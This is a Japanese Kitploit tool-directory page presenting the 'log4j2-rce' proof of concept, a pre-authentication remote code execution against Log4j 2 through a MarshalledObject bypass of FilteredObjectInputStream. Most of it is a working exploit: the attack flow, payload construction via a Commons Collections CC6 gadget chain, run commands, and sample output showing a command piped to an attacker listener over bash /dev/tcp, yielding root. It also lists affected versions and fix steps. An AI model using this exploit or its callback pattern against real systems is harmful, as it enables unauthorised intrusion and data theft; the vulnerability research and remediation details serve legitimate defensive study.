Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
log4j2-rce — Apache Log4j 2 における FilteredObjectInputStream MarshalledObject バイパスを介した事前認証 RCE | Kitploit
ツール/GitHubGitHub/hypnguyen1209/log4j2-rce
脆弱性分析エクスプロイトウェブアプリケーション悪用ペイロード開発バイナリエクスプロイト
GitHubhypnguyen1209/log4j2-rce

log4j2-rce

Apache Log4j 2 における FilteredObjectInputStream MarshalledObject バイパスを介した事前認証 RCE

リポジトリを見る
3798121日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Log4j FilteredObjectInputStream バイパス

Log4j の FilteredObjectInputStream を介して LogEvent をデシリアライズするあらゆる Java サービスに対する事前認証 RCE。認証情報は不要です。

2026年8月24日に GitHub issue #4255 として報告されました。

動作概要

Log4j は安全なデシリアライズラッパーとして FilteredObjectInputStream(FOIS)を同梱しています。これは resolveClass() をオーバーライドし、許可リストにより org.apache.logging.log4j.*、java.lang.*、java.util.*、およびいくつかの明示的なクラスのみが通過できるようにしています。

その明示的なクラスの1つが java.rmi.MarshalledObject です:

root@kitploit:~
// SerializationUtil.java:81
public static final List<String> REQUIRED_JAVA_CLASSES = Arrays.asList(
        "java.math.BigDecimal",
        "java.math.BigInteger",
        "java.rmi.MarshalledObject",   // <-- 問題の箇所
        ...);

MarshalledObject.get() は内部で新しい、素の ObjectInputStream を作成します。フィルタなしです。MarshalledObject 内にラップされたものはすべて制限なしでデシリアライズされ、許可リストを完全にバイパスします。

Log4j 自体がこのラッピングを行います。LogEventProxy(すべての LogEvent のシリアライズプロキシ)は、イベントメッセージを MarshalledObject<Message> フィールドに格納します。デシリアライズ時には marshalledMessage.get() を呼び出してメッセージを復元します。この呼び出しがフィルタなしのストリームを作成します。ゲームオーバーです。

FOIS がどのようにバイパスされるか

フィルタはストリーム内のトップレベルのクラス記述子のみを確認します:

root@kitploit:~
// FilteredObjectInputStream.java:66-72
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
        throws IOException, ClassNotFoundException {
    String name = SerializationUtil.stripArray(desc.getName());
    if (!(isAllowedByDefault(name) || allowedExtraClasses.contains(name))) {
        throw new InvalidObjectException(
            "Class is not allowed for deserialization: " + name);
    }
    return super.resolveClass(desc);
}

FOIS は LogEventProxy(log4j パッケージ、許可)、MarshalledObject(許可リスト内)、byte[](プリミティブ)をチェックします。すべて通過します。CC6 ガジェットチェーンは MarshalledObject.objBytes 内に生のバイト列として隠されています。FOIS はそれを認識しません。

LogEventProxy.readResolve() が実行されると:

root@kitploit:~
// Log4jLogEvent.java:1265-1274
private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();   // フィルタなしの ObjectInputStream
        } catch (final Exception ex) {
            // 無視する
        }
    }
    return new SimpleMessage(messageString);
}

marshalledMessage.get() は素の ObjectInputStream を作成し、CC6 チェーンがトリガーされ、コマンドが実行されます。ガジェットの結果が Message でない場合の ClassCastException は catch ブロックが飲み込むため、サーバーは正常に応答します。エラーもログエントリも発生しません。

比較として、ObjectMessage は正しく実装しています:

root@kitploit:~
// ObjectMessage.java:132-136
private void readObject(ObjectInputStream in) throws ... {
    in.defaultReadObject();
    obj = SerializationUtil.readWrappedObject(in);  // フィルタ付きの内部ストリームを作成
}

LogEventProxy は同じパターンを使うべきですが、使っていません。

攻撃の仕組み

root@kitploit:~
攻撃者                                    標的(FOIS ベースの受信側)
   |                                              |
   |  HTTP POST /log                              |
   |  Body: シリアライズされた LogEventProxy      |
   |  ------------------------------------------> |
   |                                              |
   |                 FilteredObjectInputStream.readObject()
   |                   ├── resolveClass(LogEventProxy)     ✓ log4j パッケージ
   |                   ├── resolveClass(MarshalledObject)  ✓ 許可リスト
   |                   └── resolveClass(byte[])            ✓ プリミティブ
   |                         |
   |                 LogEventProxy.readResolve()
   |                   └── message()
   |                       └── marshalledMessage.get()
   |                           └── new ObjectInputStream(objBytes)   フィルタなし
   |                               └── HashSet.readObject()          CC6
   |                                   └── TiedMapEntry.hashCode()
   |                                       └── LazyMap.get()
   |                                           └── ChainedTransformer
   |                                               └── Runtime.exec(cmd)
   |                                              |
   |  HTTP 200 OK: "log event"                    |
   |  <------------------------------------------ |

サーバーは 200 で応答し、何もなかったかのようにイベントを処理します。

ペイロードの構築

ポイントは、CC6 チェーンを早期にトリガーさせずに MarshalledObject.objBytes 内に収めることです。

GadgetMessage は Message を実装し、writeReplace() をオーバーライドして CC6 ガジェットを返します:

  1. GadgetMessage をメッセージとして持つ Log4jLogEvent を構築します。
  2. それをシリアライズします。LogEventProxy.writeObject() が marshall(message) を呼び出し、GadgetMessage を MarshalledObject コンストラクタに渡します。
  3. コンストラクタが GadgetMessage をシリアライズします。writeReplace() が発火し、CC6 の HashSet に置き換えます。
  4. これで MarshalledObject.objBytes に CC6 チェーンが含まれます。GadgetMessage はワイヤ上に現れません。

GadgetMessage は攻撃者側のみに存在します。標的のクラスパスにある必要はありません。

影響を受けるバージョン

コンポーネント脆弱性あり
log4j-api(FilteredObjectInputStream)2.11.0 から 2.24.3
log4j-core(LogEventProxy の MarshalledObject フィールド)2.8.0 から 2.24.3

標的にはガジェットライブラリがクラスパスにあることも必要です。この PoC は Commons Collections 3.2.1(CC6 チェーン)を使用します。

実行方法

要件:Java 11+、Maven、Python 3.10+、Docker(被害者ラボのみ)

被害者をビルドして起動:

root@kitploit:~
cd lab
docker build -t fois-bypass-lab .
docker run -d --name fois-lab -p 8000:8000 fois-bypass-lab
cd ..

エクスプロイトをビルド(または初回実行時に poc.py が実行):

root@kitploit:~
cd exploit && mvn package -q -DskipTests && cd ..

実行:

root@kitploit:~
# --lhost は標的から到達可能なあなたの IP
# 同一ホスト上の Docker ラボの場合は docker0 ブリッジ IP を使用
python3 poc.py -u http://127.0.0.1:8000 --cmd id --lhost 172.17.0.1

出力:

root@kitploit:~
[*] Log4j FOIS MarshalledObject Bypass + CC6 RCE
[*] target:  http://127.0.0.1:8000
[*] command: id
[*] callback: 172.17.0.1:9999

[*] generating payload ...
    [gen] command: { id; } 2>&1 | bash -c 'exec 3<>/dev/tcp/172.17.0.1/9999; cat >&3'
    [gen] payload: 2619 bytes
[*] payload: 2619 bytes

[*] listening on 0.0.0.0:9999
[*] POST http://127.0.0.1:8000/log
[+] HTTP 200 - payload deserialized
[+] response: OK: log event

[+] RCE output:
uid=0(root) gid=0(root) groups=0(root)

カスタムコールバックポート:

root@kitploit:~
python3 poc.py -u http://127.0.0.1:8000 --cmd "cat /etc/hostname" --lhost 172.17.0.1 --lport 4444

poc.py の仕組み

  1. 初回実行時に exploit/ 内で mvn package を呼び出し、PayloadGenerator をコンパイルして依存関係を取得します。以降の実行ではスキップします。
  2. ホスト上で java -cp exploit/target/... PayloadGenerator <cmd> を実行します。MarshalledObject 内に CC6 を含む base64 エンコードされたシリアライズ済み LogEvent を出力します。
  3. --lport(デフォルト 9999)で TCP リスナーを開き、コマンド出力を受信します。
  4. 生のバイト列を HTTP POST として標的の /log エンドポイントに送信します。
  5. ペイロードが標的上でコマンドを実行し、bash の /dev/tcp を介して出力をリスナーにパイプで返します。

ファイル

root@kitploit:~
log4j2-rce/
├── README.md
├── poc.py                          # エクスプロイトスクリプト
├── exploit/                        # 攻撃者側(ホスト上で実行)
│   ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
│   └── src/
│       ├── PayloadGenerator.java   # CC6 + MarshalledObject + LogEvent
│       └── GadgetMessage.java      # writeReplace() を持つ Message
└── lab/                            # 被害者(Docker)
    ├── Dockerfile
    ├── pom.xml                     # log4j 2.24.3, commons-collections 3.2.1
    └── src/
        └── HttpLogReceiver.java    # FOIS を使用する HTTP エンドポイント

lab/ は被害者側です。HttpLogReceiver は FilteredObjectInputStream を使用する HTTP ログレシーバーです。デフォルト設定、デバッグフラグなし、人為的な弱点なし。Commons Collections は現実的な推移的依存関係としてクラスパスにあります。

exploit/ は攻撃者側のツールです。PayloadGenerator はホスト上でシリアライズされたペイロードを構築します。被害者コンテナには一切触れません。

修正方法

  1. REQUIRED_JAVA_CLASSES から java.rmi.MarshalledObject を削除します。
  2. LogEventProxy の MarshalledObject<Message> フィールドを、SerializationUtil.writeWrappedObject() / readWrappedObject() でシリアライズされた byte[] に置き換えます。これは ObjectMessage がすでに正しく使用しているパターンと同じです。

Commons Collections のバージョン

CC 3.2.1 以前:InvokerTransformer は自由にシリアライズされます。CC6 はそのまま動作します。

CC 3.2.2(2015年11月):InvokerTransformer にシリアライゼーションガードが追加され、org.apache.commons.collections.enableUnsafeSerialization が true でない限りチェーンをブロックします。

フィルタバイパスは CC のバージョンに関係なく存在します。CC のガードはガジェット層での多層防御であり、壊れたフィルタの修正ではありません。ガードのない他のガジェットライブラリ(Groovy、BeanShell、Spring Beans など)でも同じ攻撃が可能です。

クリーンアップ

root@kitploit:~
docker rm -f fois-lab
docker rmi fois-bypass-lab

法的注意事項

許可を得たテストのみを対象としています。所有していないものに対して実行する前に、書面による許可を取得してください。

ツールをダウンロード